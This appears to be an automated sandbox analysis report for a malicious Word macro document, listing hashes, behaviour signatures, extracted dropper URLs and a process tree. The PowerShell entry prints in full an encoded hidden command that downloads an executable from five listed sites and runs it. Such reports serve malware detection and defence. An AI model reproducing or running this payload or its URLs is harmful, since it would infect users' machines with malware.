Analysis

  • max time kernel
    141s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2024 08:49

General

  • Target

    292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc

  • Size

    247KB

  • MD5

    292fc1154bbe613521acfa3ab69da24d

  • SHA1

    d89cb8fee32378fab48c4af4073d0b1f4977f2b8

  • SHA256

    58284dd1bedbf2c82204eb15cdad07525a70b52ff1729e051ac101c066531ce3

  • SHA512

    739f5ad0af89e7429e2fe2c67a8579093b1c78b7c85a287e91c2fe46224f334f3f70cea86c9e1ddb6972e4169bd273567c9b40fa3d895173130fb445b0dc58aa

  • SSDEEP

    6144:30Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+7y6aboRTa:30E3dxtR/iU9mvUP7paboRm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://zhangpalace.com/wp-admin/kfcuow/

exe.dropper

http://raquelstrutz.edutrovao.com.br/wp-includes/mhj4x/

exe.dropper

http://hoem.staging.pixelcarve.net/content/YLcMZTn/

exe.dropper

https://mdspgrp.com/wp-includes/g6tj/

exe.dropper

http://lula.vm-host.net/wp-content/ewww/wvo4jx/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\292fc1154bbe613521acfa3ab69da24d_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2520
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABTAGkAawBxAGoAbgBhAGYAeABuAGEAYwA9ACcARQBoAHcAZwBsAG4AZQBnACcAOwAkAFoAeABiAGgAawB3AG8AYwB3ACAAPQAgACcANwAzADYAJwA7ACQARABhAHMAYwBxAGsAZQBoAHEAbQBwAD0AJwBEAHMAaABxAGcAdAB5AHYAbABlAGcAcABzACcAOwAkAEIAcgBsAGUAeABtAG8AbQBmAGgAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWgB4AGIAaABrAHcAbwBjAHcAKwAnAC4AZQB4AGUAJwA7ACQAVwByAG0AbwBjAGIAZgBuAGkAZAA9ACcAVwB2AHoAcQBvAGYAeQBjACcAOwAkAE0AcgB6AHcAbwBmAHYAYwBpAHMAYwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AEUAQgBjAEwASQBFAG4AVAA7ACQARABlAGMAYgBiAHQAYwBoAGIAdQBrAHQAcgA9ACcAaAB0AHQAcAA6AC8ALwB6AGgAYQBuAGcAcABhAGwAYQBjAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGsAZgBjAHUAbwB3AC8AKgBoAHQAdABwADoALwAvAHIAYQBxAHUAZQBsAHMAdAByAHUAdAB6AC4AZQBkAHUAdAByAG8AdgBhAG8ALgBjAG8AbQAuAGIAcgAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AaABqADQAeAAvACoAaAB0AHQAcAA6AC8ALwBoAG8AZQBtAC4AcwB0AGEAZwBpAG4AZwAuAHAAaQB4AGUAbABjAGEAcgB2AGUALgBuAGUAdAAvAGMAbwBuAHQAZQBuAHQALwBZAEwAYwBNAFoAVABuAC8AKgBoAHQAdABwAHMAOgAvAC8AbQBkAHMAcABnAHIAcAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AZwA2AHQAagAvACoAaAB0AHQAcAA6AC8ALwBsAHUAbABhAC4AdgBtAC0AaABvAHMAdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGUAdwB3AHcALwB3AHYAbwA0AGoAeAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnACoAJwApADsAJABOAHoAegBqAHQAcgB2AGwAbQA9ACcAUwBrAHoAegBhAHoAdwB4AGUAegBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAGEAaABtAGUAaQBjAHoAIABpAG4AIAAkAEQAZQBjAGIAYgB0AGMAaABiAHUAawB0AHIAKQB7AHQAcgB5AHsAJABNAHIAegB3AG8AZgB2AGMAaQBzAGMALgAiAGQAbwBgAFcAbgBMAE8AYABBAEQAZgBgAEkATABlACIAKAAkAEsAYQBoAG0AZQBpAGMAegAsACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQA7ACQAQwB6AGwAbwByAGoAdAB1AHMAcQBkAD0AJwBUAGgAbgBzAHcAcQBpAG8AZABrAGEAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHIAbABlAHgAbQBvAG0AZgBoAHcAKQAuACIAbABFAG4AYABnAFQASAAiACAALQBnAGUAIAAzADMAMAA0ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQAQgByAGwAZQB4AG0AbwBtAGYAaAB3ACkAOwAkAEIAZQBvAGcAYQBhAGkAaAB0AD0AJwBUAGMAZQB0AGEAdQB2AG4AawAnADsAYgByAGUAYQBrADsAJABKAG0AYwB3AHEAYwB5AHAAawB4AGQAPQAnAFAAZABrAGMAbABoAG0AbwBoAGwAYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABlAGQAZABhAG4AdQBiAGQAZABqAD0AJwBFAHYAagBxAHoAbQBlAHgAawBzACcA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1560

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kesbpgld.aso.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • memory/1560-44-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/1560-60-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/1560-45-0x0000021362890000-0x00000213628B2000-memory.dmp

    Filesize

    136KB

  • memory/2520-7-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-4-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-0-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-10-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-9-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-8-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-12-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-13-0x00007FFDE9630000-0x00007FFDE9640000-memory.dmp

    Filesize

    64KB

  • memory/2520-11-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-14-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-15-0x00007FFDE9630000-0x00007FFDE9640000-memory.dmp

    Filesize

    64KB

  • memory/2520-27-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-28-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-6-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-5-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-3-0x00007FFE2BEAD000-0x00007FFE2BEAE000-memory.dmp

    Filesize

    4KB

  • memory/2520-1-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-2-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-534-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-544-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-545-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB

  • memory/2520-567-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-568-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-566-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-569-0x00007FFDEBE90000-0x00007FFDEBEA0000-memory.dmp

    Filesize

    64KB

  • memory/2520-570-0x00007FFE2BE10000-0x00007FFE2C005000-memory.dmp

    Filesize

    2.0MB